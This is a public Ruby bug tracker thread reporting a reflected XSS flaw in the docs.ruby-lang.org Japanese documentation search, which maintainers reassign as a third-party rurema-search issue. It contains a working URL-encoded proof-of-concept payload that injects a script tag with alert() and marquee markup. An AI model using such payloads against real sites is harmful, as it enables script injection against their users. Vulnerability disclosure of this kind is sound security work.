Bug #14389: Reflected XSS

• Status: Third Party's Issue
• Assignee: -
• Target version: -
• Backport: 2.3: UNKNOWN, 2.4: UNKNOWN, 2.5: UNKNOWN

[TheGirdap (Hamit Cibo)]

Hello,

Reflected Xss found ..

https://docs.ruby-lang.org/ja/search/query:import/query:callback/%22%3E%3C/title%3Ealert(XSS%20A%C3%A7%C4%B1%C4%9F%C4%B1)%3C/script%3E%3E%3Cmarquee%3E%3Ch1%3EXSSa%C3%A7%C4%B1%C4%9F%C4%B1%3C/h1%3E%3C/marquee%3E%3D

result ;

ss:

search:

search box > ....import+words+payload => reflected xss

https://twitter.com/hamit_cibo

[TheGirdap (Hamit Cibo)]

• File deleted (Ekran_Resmi_2018-01-24_01.09.36 (1).png)

[TheGirdap (Hamit Cibo)]

• File Ekran_Resmi_2018-01-24_01.09.36 (1).png Ekran_Resmi_2018-01-24_01.09.36 (1).png added

[shevegen (Robert A. Heiler)]

The twitter link above gives me "This account's Tweets are protected.", just
for your information.

[TheGirdap (Hamit Cibo)]

shevegen (Robert A. Heiler) wrote:

The twitter link above gives me "This account's Tweets are protected.", just
for your information.

So what do I have to do?

[hsbt (Hiroshi SHIBATA)]

• Status changed from Open to Third Party's Issue

Thank you for your report.

But I know that you already reported other places and shared the upstream information.

• https://github.com/ruby/www.ruby-lang.org/issues/1734
• https://github.com/ruby/www.ruby-lang.org/issues/1735
• https://github.com/clear-code/rurema-search/issues/27
• security at ruby-lang.org
• hackerone

It's the issue of rurema-search that is documentation searcher, NOT the ruby language.

[TheGirdap (Hamit Cibo)]

hsbt (Hiroshi SHIBATA) wrote:

Thank you for your report.

But I know that you already reported other places and shared the upstream information.

• https://github.com/ruby/www.ruby-lang.org/issues/1734
• https://github.com/ruby/www.ruby-lang.org/issues/1735
• https://github.com/clear-code/rurema-search/issues/27
• security at ruby-lang.org
• hackerone

It's the issue of rurema-search that is documentation searcher, NOT the ruby language.

gift ?

[TheGirdap (Hamit Cibo)]

TheGirdap (Hamit Cibo) wrote:

hsbt (Hiroshi SHIBATA) wrote:

Thank you for your report.

But I know that you already reported other places and shared the upstream information.

• https://github.com/ruby/www.ruby-lang.org/issues/1734
• https://github.com/ruby/www.ruby-lang.org/issues/1735
• https://github.com/clear-code/rurema-search/issues/27
• security at ruby-lang.org
• hackerone

It's the issue of rurema-search that is documentation searcher, NOT the ruby language.

gift ?

I see the message now "https://bugs.ruby-lang.org/issues/14389" ..